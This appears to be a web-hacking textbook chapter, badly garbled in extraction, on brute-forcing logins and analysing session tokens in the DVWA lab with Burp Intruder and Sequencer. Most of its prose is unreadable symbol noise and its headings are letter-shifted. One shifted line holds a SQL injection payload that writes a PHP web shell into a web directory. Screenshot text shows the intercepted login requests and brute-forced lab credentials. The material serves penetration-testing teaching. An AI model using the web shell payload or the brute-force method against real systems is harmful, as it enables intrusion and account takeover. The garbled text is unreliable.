ȱȱȱȱȱȱȱȱȱ¢ȱȱ¢ȱȂȱ¡ȱ ȱ
ȱ ȱȱ¢ȱ¢ȱȱȱ ȱȱ¢ȱ ȱȱ
DZ
5HON
81,21 6(/(&7
"SKS V\VWHPB5(48(67>FPG@ "!
QXOO ,172 287),/(
YDUZZZKDFNDEOHXSORDGVFPGSKS
ȱȱȱȱ ȱȱ ȱȱǻ¡ȱȱȱȱȱȱ¡Ǽ
¢ȱȱȱ ȱDZȱDZȦȦŗŘŝǯŖǯŖǯŗȦȦȦǯǵƽǯȱ
ȱ ȱ¡ȱ¢ȱȱ¢ȱȱ¢ȱȱȱȱȱȱȱ
Ƿ
& + $3 7 ( 5
ȱȱ¡ȱ ȱ
ȱȱȱ
&KDSWHU5XQGRZQ
Ŷȱ¢ȱȱȱȱȱȱȱ
Ŷȱȱȱȱȱȱȱȱ
Ŷȱ¢ȱȱȱȱȱDZȱȱȱȱȱȱȱ
Ŷȱȱȱ ȱȂȱȱ¢ȱ ȱȱȱ
,QWURGXFWLRQ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ £
ȱ ¡ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ǯȱ ¢
ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱ ȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱǯ
¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¢ȱ ȱǯȱȱȱȱȱȱȱ¡ȱ
ěȱ ¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱǯ
ȱȱĴȱȱ ȱȱȱ ȱȱȱȱȱ¢
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ȱ ȱ ȱ ǻĴǼȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱȱȱ ȱȱȱȱȱȱȱ ȱǯ
ȱ ȱȱȱȱȱȱȱȱȱĴȱȱȱ ȱȱ¡
ȱȱ ȱȱȱ¢ȱȱǷ
$XWKHQWLFDWLRQDQG6HVVLRQ9XOQHUDELOLWLHV
¢Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǰȱ¢ȱȱǯȱȱȱȱȱĴȱȱ
¡¢Ȭȱ Ĵȱ ȱ ǻȱ Ȃȱ ǰȱ ȱ ¡Ǽȱ ȱ ȱ ȱ ȱ
ȱȱȱȱǯȱȱȱȱȱȱȱȱȱȱ¢ȱȱĴǰȱȱȂ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱǰȱȱDZ
Ŷȱȱ
Ŷȱ ȱ
Ŷȱȱ
Ŷȱȱ
Ŷȱȱȱ
Ŷȱ ȱȱȱ¡
ȱȱǰȱȱȱȃȄȱ ȱȱȱȱȱȃȱȄȱ
ȃȱ ęǯȄȱ ȱ ȱ Ĵȱ ȱ ¢ȱ ȱ ȱ ȱ ĚDZȱ ǻŗǼ
Ĵȱ ȱ ¢ȱ ȱ ȱ ęȱ ȱ ȱ ǻȱ ¢Ǽȱ ȱ ǻŘǼ
Ĵȱ ȱȱȱȱȱȱȱ¢ȱȱ ȱǯȱ Ĵȱ ȱ
ȱȱȱȱ¢ȱȱȱȱȱȱȱȱ
ȱ ȱ ȱȱȱȱȱȱȱȱȱ¢ȱĜȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯȱ ȱȱȱȱĴȱȱȱȱ ȱȱȱȱ
ǯȱ ȱ ¢ȱ ȱ Ĵȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰ
ȱȱȱȱȱȱȱȱȱȱȱȱǯȱ ȱ
ȱ¢ȱȱȱȱȱ¢ȱȱǷ
3DWK7UDYHUVDO9XOQHUDELOLWLHV
ȱȱ ȱȱȱȱȱęǰȱȱ ȱȱȱȱȱȱȱ
ęȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ǯȱ ȱ
ȱȱ¢ȱȱȱȱȱȱȱȱęȱ¢ȱȱȱ ȱȱ
ȱŗŖŖƖȱȱ ȱȱ ȱȱȱȱȱȱȱDZȱ
ǰȱȱǰȱȱǰȱȱ¢ȱǰȱȱ¢ȱȱȱȱ
¢ȱǯȱȱȱȱȱĴȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱ ȱȱȂȱ
ȱȱȂȱǯȱȱ¢ȱȱȱȱȱȱȱȱęȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ
ȱǯ
%UXWH)RUFH$XWKHQWLFDWLRQ$WWDFNV
ȱ¢ȱȱȱȱ¢ȱȱȱȱȱ ȱȱȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ǰȱ ȱ ¢
ȱ ǰȱ ȱ ȱ ȱ ¢ȱ ¢ǰȱ ȱ
ǰȱ ȱ ȱ ¢ȱ ȱ ȱȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ Ě ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ǯȱȱȱȱȱȱȱȱȱ¢ȱ
ȱȱȱȱȱȱȱ ȱȱǯȱ ȱȱȱ ȱ
ȂȱȱȱȱȱȱȱǷ
ȱ ȱȱȱȱȱȱ¡ȱȱ ȱȱȱȱȱȱȱ
ȱȱȱǯȱȱȱȱ
ȱȬȱȱDzȱȱ
ȱ şŖƖȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ěȱ ȱ ȱ ȱ
ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱ ȱ ȱ ǰȱ
ȱȱȱ ȱȱȱȱȱȱȱǯ
ȱ Ĵȱ ȱ ȱ ěȱ ȱ ȱ ĝȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ĝ
ȱȱȱȱ ȱȱȱȱȱȱȱȱ
ȱ ȱȱȱȱȱȱȱȱȱȱǯ
,QWHUFHSWLQJ7KH$XWKHQWLFDWLRQ$WWHPSW
ȱȱȱȱȱ¡ȱȱ ȱȱȱȱȱęȱȱȱ¡¢
ȱ¢ȱ ǯȱȱ ȱȱȱȱȱĴȱȱ ȱȱȱȱǰ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ Ȃȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ¢ȱȱȱ
ȱǰȱȱȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱĴǯȱ ȱȱ¢ȱȱěȱ ȱ ȱȱȱ
ȱ ǯȱȂȱȱȱȱȱȱȱ¢¢ȱȱȱ
ȱ ȱȱȱśǯŗǯ
),*85( ,QLWLDOORJLQDWWHPSWWREHFDSWXUHGE\%XUS,QWHUFHSW
ȱ¢ȱȱȱȱĴȱ ȱȱȱĴǰȱ¢ȱȱȱȱ
ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ
ȱȱȱśǯŘǯ
),*85( ,QWHUFHSWHGDXWKHQWLFDWLRQSDUDPHWHUVLQ'9:$
ȱȱ¢ȱȱ ȱȱȱȱ ȱȱȱȱDzȱ
ȱȱ ȱȱȱǯȱǰȱ ȱ¢ȱ¡ȱȱȱĴȱȱǯȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ¡¢ȱ ¢ǰȱ ȱ
ȱ ȱ ȱ Ȃȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱ ȱȱȱȱȱȱȱ ȱȱȱȱȱȱ¢
ȱȱȱȦȱ ȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ¡¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱ¢ȱȱȱȱǯȱȱȱȱȱȱȱȱǻ
Ǽȱ¢ȱȱȱ¢ȱȱ¢ȱǯȱȱȱ¡¢ȱ ¢ȱ¢ȱȱȱ
ȱȱȬȬȱȱĴǯȱ ȱ ȱ¢ȱȱȱǰȱȱ¢ȱȱ
ȱȱȱ¢ȱȱ¡ȱȱȱȱ Ƿȱȱȱ ȱ
ȱȱ¢Ȃȱȱȱȱ¢ȱȱȱȱ¡¢ȱȱȱǯȱȱȱę¢
ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ ȱ ȱȱ ȱ
¢¢ȱ ȱȱȱ ȱȱȱśǯřǯ
* host
httpi ffl 2 7. 0 , 0 ,1
457 http://safiebrowsing-c... [GET
method
GET
GET
URL
494 htt p: //saf eb rqwsmg d.. , ’ POST ysafe browsinqfdowrioa ds?c Itent navdient-aut o-ff ox6f appver-i 6...,
495 http: Ifl 27,0,0,1 'Mil n era b il it i e s/b rut ej?u sername- cornd o gs (* p as sword-surearey...
-
MJlnerabiflt i esfbrut e/?u s emame c omdqgs &pas sword -sure arey., ,
[/safe browsing/Td/C hNnb29nLWl hbH dhctnUtc 2h h d niFyEAEYht OF(J|...
-
A
request [response _ j
[ raw f parents f headers T hex |
: GET request to MJlnerabilitiesÿbrute/
type name value
URL username corncfogs
URL
password
Login Login_ __
SLirear&yumnny
),*85( $XWKHQWLFDWLRQDWWHPSWUHWULHYHGIURPWKHSUR[\KLVWRU\RI%XUS,QWHUFHSW
ȱ ¢Ȃȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǰȱ ȱ
ȱȱȱȱȱȱȱȱǻȱȱȱȱ¡ȱȱ
ȱǼȱȱ ȱȱȱȱȱ¢ȱȦǯȱȱȱȱȱ
ȱ ȱȱ¢ȱȱȱȱȱ ȱȱȱ ȱȱȱȱǯ
&RQILJXULQJ%XUS,QWUXGHU
ȱȱ ȱȱȱȱȱ¢ȱȱȱĴȱȱ¡ȱȱ
ȱ ȱ ěȱ ȱ ȱ ǯȱ ȱ ȱ ǰȱ ¢ȱ Ȭȱ ȱ
ȱȱȱȱȱȱȱ ȱȱȱśǯŚǯ
496 HttprOT 27.0, 0.1
497 http: W127.0. 0, li'vulnerab...sword -sureareyummy&LoqirT- Login j
499 hTtpiy/U' .-.o.o. i remove item from scope
501 htt p: //safe brow spider From here
M2 http; y/safe brow I
actively scan this
*
i
request [ respons send to intruder
( raw (' parents [ h send to repeater
GET request to h/ulr send to sequencer
type send to comparer (request)
URL usernai send to comparer (response)
URL passwo show response in browser
UPL 'Login request in browser _
Cookie PI HP'S E<
cookie Secur tj
engagement tools [pro version only]
show new history window
add comment
highlight i
delete this item
clear history
copy URL
copy links in item
save item
),*85( 6HQGLQJWKHDXWKHQWLFDWLRQDWWHPSWWR,QWUXGHU
ȱ ȱ ȱ ȱ ȱ ȱ ȱ £ȱ Ĵȱ ȱ ȱ ǰ
ȱȱȱȱ¢ȱȱȬȬȱǯȱȱȱȱęȱ ȱȱ¢ȱĴ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¡ȱ ¢ȱ ȱ ¢ȱ ǯȱ ȱ
ȱȱȱ ǰȱ¢ȱȱȱȱȱęȱ¢ȱȱ
ȱ¢ȱ¢ȱ ȱȱȱȱȱ ȱȱȱśǯśǯ
target fflHM spider nner f intruder ] repeater sequencer | decoder [ comparer |' optionin'' alerts |
£TJ>
target ' positions ' payloads ' options |
I
5 payload positions
GET /vuLntmbi lititsibiut*/ ?us-i:n«i>r-St:or ndog»lft.pjia sword- Jaur tare yunmyS £ Loyin-SLoginJ HTTP/ 1. I
Host: i:7, 0,0.1
Mitr-Acrtnc; Mosul n/S.O (Xil: Llimw liOfi rv:US,U.2> Gecko/ 20100101 Firete*/ 10,0,2
. .
Jtc-oep t : t ex t!ht ml app 11c at Ion/ n htm 1+xml , app i1c at ion/ xml ; q 0 9 , / ; q'Q £3
Accept - L Aliy nay e: en-ua , e n:q- 0 5 .
Acctpr-Entodlno; osip, dttlatt
Proxy-ConnccE Ion ; lie* p™n Live
: tittp://i;7.0,0. 1f vulnctah1lit iea/brUE c/
Cookie r PHP3ESS I D»ltB7eduotyttofl30ddybvSo3 414*21: aecur ity*S 1L>VS
DMT: i
),*85( $XWRPDWLFDOO\LGHQWLILHGSDUDPHWHUVLQ%XUS,QWUXGHU
ȱęȱȱȱȱ¢ȱǰȱȱ¢ȱȱȱ¡ȱȱ
ȱ¢ȱ ȱȱȱȱǯȱȱȱ¢ȱȱ ȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǻ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ǽȱ ¢ȱ ȱ ȱ
ȱ ȱȱ Ĵǯȱ ȱ ¢Ȃȱ ¢ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ¢ȱ
ȱDZȱȱȱ ǯ
,QWUXGHU3D\ORDGV
ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱȱ¢ȱȱ¢ȱȱȱȱȱȬ ȱǯ
ŗǯȱDZȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱȱ¡ȱǯȱȱȱȱȱ ȱ££ȱ
ȱȱȱȬȱȱǻǼǯ
ŘǯȱȱDZȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱ
¢ȱȱȱȱȱȱȱȱǯȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱ¢ȱ¢ǯ
řǯȱDZȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱ¢ȱȱ¢ǯȱȱȱȱȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȏȱȱȱȱȱȏȱǯȱȱ
ȱ ȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱ
¢ȱ ȱ¡ǰȱ ȱ¢ȱȱȱȱȱȱ¢ǰȱȱȱǯ
ŚǯȱȱDZȱȱȱȱȱ¢ȱǰȱȱȱȱ¢ȱȱ
ȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱǯȱȱȱȱȱȱ ȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱ ǯȱȱȱȱȱ ȱȱȱȱȱ¢
ǻǰȱȱ¡Ǽȱȱȱȱȱȱ ȱ ȱȱȱǯ
ȱȱȱ ȱȱȱȱȱȱȱȱǰȱȱ
ȱȱȱȱȱȱȱȱȱ ȱȱȱȱ ȱ
ȱǯ
¢ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢
ǯȱȱ
ȱȱȱȱȱȱȱȱȱȱȱ¢
ȱ¢Ȃȱȱȱ¡ǯȱ ȱ¢ȂȱȱȱȱȱȱȬ
ǰȱ ¢ȱ ȱ ȱ ȱ¢ȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱǯȱȱȱ ȱȱȱȱȱ¢ȱDZ
ȱȱȱȱ ǯȱȱ¢ȱȱȬ ȱȱȱ ȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱȱǰȱȱȱȱȱǯ
ȱȱ¢ȱȱȱȱȱ¢ǰȱȱȱȱȱȱȱ
ȱęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵǯȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ
ȱȱȱ¢ȱȱȱȱȱȱǯȱȱ¢ȱ ȱ
ęȱȱȱȱ ȱȱȂȱȱ¢ȱȱȱȱǰȱȱȱ¡ȱęȱȱȱ
ǰȱ ȱ ȱ ȱ ȱ ȏǯ¡ȱ ȱ ȱȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱśǯŜǯ
-d u wa_usersrtnt IH gedit
File Edit View Search idols Documents
-
open O'tsaye
* i
M
<Jvwa_users,tict It
asuifi
gordonb
1337
pablo
smithy)
),*85( &UHDWLQJWKHGYZDBXVHUVW[WILOHWREHXVHGE\%XUS,QWUXGHU
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ
ȱ ǯȱ ȱ ȱ ȱśŖŖȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱǯ£Řȱ ęȱ
DZȦȦ ǯ¢ǯȦ Ȧ¡ǯȦ ǯȱ ȱ ȱ ęȱ ȱ ¢ȱ
¢ȱȱȱȱȱȱȱȱȱ ȱȱȱ¡ȱȱȱȱ¡
ǯ
EXQ]LSZRUVWSDVVZRUGVW[WE]
ȱ ¢Ȃȱ ¢ȱ ȱ ȱ £ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱȱȱȱ¡ȱęȱȱȱ¢ȱȱ¢ǯȱ ȱ¢ȱȱȱǰ
ȱ ȱ ȱ ęȱ ǻ ȏǯ¡Ǽȱ ȱ ȱ ȱ ęȱ ǻśŖŖȬ Ȭ ǯ¡Ǽ
ȱȱȱȱ¡ȱȱȱ¢ȱȱ¢ǯ
ȱȱȱ¢ȱȱȱ¢ȱȱȱȱ ǰȱȱ¢ȱȱ
ȱ Ĵȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ¡ȱ ęȱ ȱ ȱ ȱ ęǯȱ ȱ ȱ
ȱ śǯŝǰȱ ȱ ȱ ȱ ȃ¢ȱ ȱ ǻȱ ęǼȄȱ ȱ ȱ ¢ȱ ȱ
¢ȱȱȱȱȱȱ¢ȱ¡ȱęȱȱȱ¢ǯȱȱȱŗȱȱ
ȏǯ¡ȱȱȱŘȱȱȱśŖŖȬ Ȭ ǯ¡ǯ
),*85( 6HOHFWLQJUXQWLPHILOHWREHXVHGE\,QWUXGHU
5XQQLQJ,QWUXGHU
ȱ ȱ ¡ȱ ȱ ¡ȱ ¢ȱ ȱȱ Ĵ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱȱ¢ȱȱȱȱȱȱĴȱȱĴȱ ǰȱȱ¢ȱ ȱ
ȱ Ȭȱ ȱ ǯȱ ȱ ¢Ȃȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǰȱȱĴȱ ȱȱ¡¢ȱřŖȬŚŖȱȱȱęȱȱȱȱ¢ȱŘśŖŖ
ȱ ȱ ȱ ŗȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯȱ ȱ
ǰȱ ǰȱ ȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ¢Ƿȱ ȱ ȱ ¢ȱ ȱ ¢
ȱ Ĵȱ ȱ ǰȱ ȱ Ȃȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ěȱȱȱȱȱ ȱȱ¢ȱȱȱȱ ȱȱ
śǯŞǯ
D
EF a
admin password 200 4944
;ÿ4 pablo letmein 200 4944
10 smithy password 200 4946
a? qordonb abt!23 200 4948
),*85( 6XFFHVVIXOEUXWHIRUFHORJLQVYLD,QWUXGHU
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ Ȃȱ ȱ ȱ ¢ȱ
ȱ ȱ ȱ ȱȱ ȱ ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱǷȱȱȱ ȱȱ ȱȱȱǯȱ ȱȱȱ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ Ĵ
ȱȱ ȱȱȱǯ
ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ǰȱ ¢ȱ ¢
ȱ ȱ ȱ ǯȱ ȱ ¢Ȃȱ ȱ ǰȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ
¡ȱ Ĵȱ ȱ ȱ ȱ ¢ȱ Ȃȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱȱȱ ¡ȱ ǯȱ ȱ ȱ
ȱ¢ȱȱȱȱȱȱȱȱȱǯ
6HVVLRQ$WWDFNV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ¢ȱ ȱ ȱ ¢
ȱȱ¡ȱȱǯ
ŶȱȱDZȱȱȱ ȱȱȂȱȱȱȱȱȱȱ¢ȱ
ȱȱȱȱ¢ȱȱȱǯȱȱȱȱȱȱȱ
ȱ¡ȱȱȱ ¢ǰȱȱȱȱȱȱǯȱȱ ȱȱ
ȱȱȱȱȱǯ
Ŷȱȱ¡DZȱȱȱ ȱȱȱȱȱȱȱȱȱ¢ȱ
ȱȱȱȱȱȱȱȱ ȱǯȱȱȱ¢ȱ
ȱȱ ȱȱȱȱȱȱȱȱȱǯȱȱȱȱȱȱȱ
ȱȱȱǰȱȱȱȱȱȱȱȱȱȱ
ȱȱ¢ȱȱȱǯȱȱȱȱȱ ȱȱ ȱȱ
¢ȱȱȱȱȱǻȱǼȱȱȱȱȱȱ ȱȱ
ǯȱȱȱǰȱȱȱ ȱȱȱȱȱ ǰȱȱǰȱ
ȱȱȱǯȱȱȱ ȱȱȱȱȱȱ ȱȱ
ȱǻȱ¢Ǽȱȱȱǯ
ŶȱȱDZȱȱȱ¢ȱȱȱȱ¡ǰȱȱȱȱȱ
¢ȱȱȱǰȱȱȱ ȱȱȱȱȱȱȱȂ
ȱȱȱȱȱȱȱȱȱȱȱȱ ¢ǯȱ
ȱ¡ȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
Ȃȱȱȱȱȱȱȱǯȱȱȱȱ
ȱȱǻ ȱ ǰȱȱȱǰȱȱȱǼǰȱȱȱ
¢ȱȱȱȱȂȱǯ
ŶȱȱȱȱȱDZȱȱȱ ȱȱȱȱȱȱȱ
ȱȱȱȱȱ¢ǯȱȱȱ¢ȱȱǰȱȱȱ
ȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱǯ
&UDFNLQJ&RRNLHV
ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ Ĵȱ ȱ
Ȭȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ęǯȱ ȱ ȱ ȱ
¢ȱȱȱȱȱǷȱ¢ȱȱȱȱȱȱȱ
ȱǰȱȱȱȱǰȱȱȱȱȱǰȱȱ
ȱ ¢ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęǰȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ǯȱ
ȱȱȱĴȱȱ¢ȱȱȱȱȱȱȱȱǯȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱǯȱ ȱ¢ȱȱȱĴȱȱȱȱȱȱȱȱ
ȱ ȱȱǰȱ¢Ȃȱȱȱ ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ǰȱ
ȱ ¢ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ęȱȱȱȱȱ¢ȱȱȱȱȱ ȱ
ȱȱǻ ¢ȱȱȱǼǰȱȱȱĴȱȱȱĴȱȱ
ȱȱȱęǯȱ ȱȱ¢ȱǵȱ ¢Ƿȱ ȱȱȱ
ȱ ȱ ¢ȱ ȱ ȱ ǵȱ ȱ ȱ ȱ ȱ ¢ȱ ǻ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱǼǷ
%XUS6HTXHQFHU
ȱ ȱ ȱ ȱ ¢ȱ ȱ ęȱ ȱ ȱ ¢ȱ ȱ ȱ ǰ
ȱȱȱȱȱȱȱ ȱȱ¢ȱȱȱȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ęǯȱ Ȃȱ ȱ ¢ȱ ¢ȱ ȱ
ȱ¡ȱ¢ȱȱȱȱ ȱȱ¢ȱȱȱȱ¢ȱ
ȱȱȱǯȱȱ ȱȱȱ¢ȱǻȃȱȱęȱ
¢ȱ ¢ȱ ȄǼȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ
ȱȱ¢ȱȱȱǯȱȱȱ¢ȱȱȱȃȱȱȱȱȱ
ȱȱȱ¢ȱȱȱȱȱȱȱȱǯȄȱ ȱȱ¢
ȱ ȱȱęȱǰȱȱȱęȱȱ£ȱȱǯȱ¢
ǰȱ ȱȱȱŖǯŖŖŖŘȮŖǯŖřƖȱ ȱȱȱęǰȱȱ¢ȱȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ Ȭ ȱ ȱ ¢ȱ ȱ ¢ȱ
ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢
¢ȱȱDZ
ŗǯȱȱȱȱȱ¢ȱ¡¢ȱ¢ȱȱȱȱȱȱȱȱǯ
ȱȱȱȱ ȱ ȱ ȱȱȱȱ¢£ȱ ȱǯ
ŘǯȱȱȱȬȱȱȱȱȱȱȱȱǯ
řǯȱ¢ȱȱȱȱȱȱȱȂȱȱ¢ȱǯ
ȱ ȱ¢ȱ¢ȱȱȱ ȱȂȱ
ǯ
Śǯȱȱ¢ȱȱ¢Ȃȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱ ȱȱȱȱ ȱȱǯȱ
Ȃȱȱȱ¢ȱȱȱȱȱȱ¢ȱȱȱ
ȱȱȱȱǯȱȱ¢ȱȱȱȱȱȱȱȱ
ǰȱ¢ȱȱ ȱȱȱǯ
śǯȱȱȱȱȱǯȱȱȱ ȱȱȱȱȱȱ
ȱȱŗŖŖȱȱǯȱȱȱȱȱŘŖǰŖŖŖȱ
ȱȱȱǯ
Ŝǯȱ ȱȱȱȱȱȱȱȱȱǯ
ȱȱȱȱ¢ȱȱȱęȱȱȱȱȱȱ
ǯȱȱȱȱȱȱ ȱȱȱ¢ȱȱȱȱ ȱ
ȱȱȱǯȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱ¢ȱȱ¡ȱȱȱ¢Ȃȱȱȱȱ ȱȱȱśǯşǯ
ideally loken HUE: spouse
token Joeabon capture options
* manual selection'
HTTPfi 1 200 Ok token stalls:
Dale Hi. I & Nov 2007 1 4 33 50 GMT
Sewer Apache •Slier SXPreSSfOM -mt>=
Set-CPokie B8 CNrcrsAjutJtence= Dome she; paSiÿl; domainÿ bbt ro jk; eÿpiresÿSat,
t7-No*2Q07 14:38.50 OhflT
. al offset t94
Set-Ootids:
£ BC- UlDÿ 34 <J 7 3 SdiM a c b9 8 72bc S e d 9 a'oB 1 afiQSI aSOdeCJ t SOI 091 377ac 4cl M baa 25 lukeii ends:
mm cfllla*2*f% 2e0% 20%7fic o mpsbi)te% 3s% 20m$i E%20?%2e0%3H%2Gv4 n d ows
•a! delimiter Moul
% 20NTO2(K%2e t % 3b%20l nfoPilk%2e I %3b%20% 2 e NC T%20CLR K.20 2%2e0% 2e5
0727%.’9; expires=$aT, 15-nijiaCO 14:30 50 OWT; path=i; aomain=i)Dt.oouk, al fixed length 55
Accept- Range? lute?
Cache-Control mav.age=0
Ear Omaitneo
stall capture
),*85( ,GHQWLI\LQJWKHVHVVLRQLGHQWLILHULQ%XUS6HTXHQFHU
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ
ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ŗŝŖȱ ȱ ȱ ¢ȱ ȱ ȱ ŖǯŖŖŗƖ
ęȱȱǻĴȱȱȱȱǼǯȱ¢ȱȱȱȱȱ¢ǯȱ
ȱȱȱ¢ȱȱȱȱęǰȱȱȱęȱ ȱȱȱ¢ȱ
